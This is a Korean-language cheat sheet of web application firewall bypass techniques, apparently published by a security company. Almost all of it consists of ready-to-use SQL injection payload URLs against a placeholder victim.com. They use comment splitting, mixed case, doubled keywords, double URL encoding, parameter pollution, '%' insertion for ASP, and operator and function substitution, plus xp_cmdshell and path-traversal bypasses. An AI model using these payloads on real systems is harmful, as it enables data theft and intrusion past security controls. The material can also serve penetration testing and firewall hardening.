* 사업 등 관련 문의: T) 02-322-4688, F) 02-322-4646, E) info@wikisecurity.net

WAF 우회기법 Cheating sheet

WAF란 웹 어플리케이션 방화벽을 의미합니다. 웹 방화벽은 외부로부터 유입되는 웹 프로토콜을 필터링 하여 SQL Injection 공격 등을 탐지 및 차단하는 역할을 합니다.

1. 기본적인 우회 기법

1) 주석처리 방법

http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3.....

http://victim.com/news.php?id=1+/*!union*/ /*!select*/ 1,2,3,4….

2) 대소문자 교체 방법

* 방화벽 필터설정이 다음과 같을 때 /union\select/g

http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3...

3) 단어 대체 방법

일부 방화벽에서는 SQL 키워드를 제거하는 방식을 사용.

http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
(어떤 WAF는 소문자 "union"과 "select"를 제거하게 되고 대문자 "UNION"과 "SELECT"가 전달될 것임)

4) 문자 인코딩 방법

일부 방화벽에서는 인코딩된 SQL 키워드 디코딩을 통해 탐지가 가능. 하지만 더블 인코딩을 통해 우회가 가능합니다.

http://victim.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
http://victim.com/news.php?id=1/**/union/*/select/**/1,2,3/**/from/**/users--

5) 버퍼오버플로우 방법

http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141414141414141.)+union+select+1,2,version(),database(),user(),6,7,8,9,10--

2. 고급 우회 방법

1) HTTP 파라메터 분할 및 합치기

다음을 통해 웹서버에서 HTTP 파라메터 처리를 어떻게 처리하는 알 수 있습니다.

Web Server Parameter Interpretaion Example
ASP.NET/IIS Concatenation by comma par1=val1,val2
ASP/IIS Concatenation by comma par1=val1,val2
PHP/Apache The last param is resulting Par1=val2
JSP/Tomcat The first param is resulting par1=val1
Perl/Apache The first param is resulting par1=val1

[표 1] HTTP 파라메터 처리

SQL Injection 공격 시도를 다음과 같이 파라메터 q에 분할하여 전송

http://www.example.com/search.aspx?q=select name&q=password from users 

ASP/ASP.NET's 에서는 파라메터 q를 합쳐서 q= select name,password from users 로 인식하게 됩니다.

2) 문자 생략 방법

character “%“는 ASP/ASP.NET에서 생략되어 인식됩니다.

아래와 같이 정형화된 SQL문을 시도할 경우 방화벽에서 탐지가 되는데, SQL문 중간에 “%” 삽입을 통해 우회가 가능합니다.

[방화벽 탐지]

http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)

[방화벽 우회]

http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

3) 필터링 키워드 우회 방법

대부분의 웹방화벽에서는 and, or 과 같은 문자를 필터링합니다.

다음과 같은 SQL 공격 시도시 and, or 을 ||, && 로 대체하여 우회 가능합니다.

Filtered injection: “1 or 1 = 1”, “1 and 1 = 1”
Bypassed injection:  “1 || 1 = 1” “1 && 1 = 1”

또한 union의 경우도 다음과 같은 우회 방법이 존재합니다.

Filtered injection:	union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'

4) 자주 쓰는 함수 사용으로 인하여 차단 -> 비슷한 함수로 변경하여 사용

SQL Injection 공격에 자주 사용되는 함수를 사용할 경우 웹방화벽에서 쉽게 필터링이 됩니다.

이 경우, 자주 사용되는 함수를 비슷한 함수로 변경하여 우회가 가능합니다.

  • substring() → mid(), substr(), etc
  • ascii() → hex(), bin(), etc
  • benchmark() → sleep()
Ex)Know:
substring((select 'password'),1,1) = 0x70
substr((select 'password'),1,1) = 0x70 
mid((select 'password'),1,1) = 0x70

New:
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

5) HTTP 파라미터 변조(오염)


(*)출처 : http://netsec.rs

Magic character ”%” affect to ASP/ASP.NET

Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell
Forbidden: http://localhost/test.asp?file=../bla.txt
Bypassed : http://localhost/test.asp?file=.%./bla.txt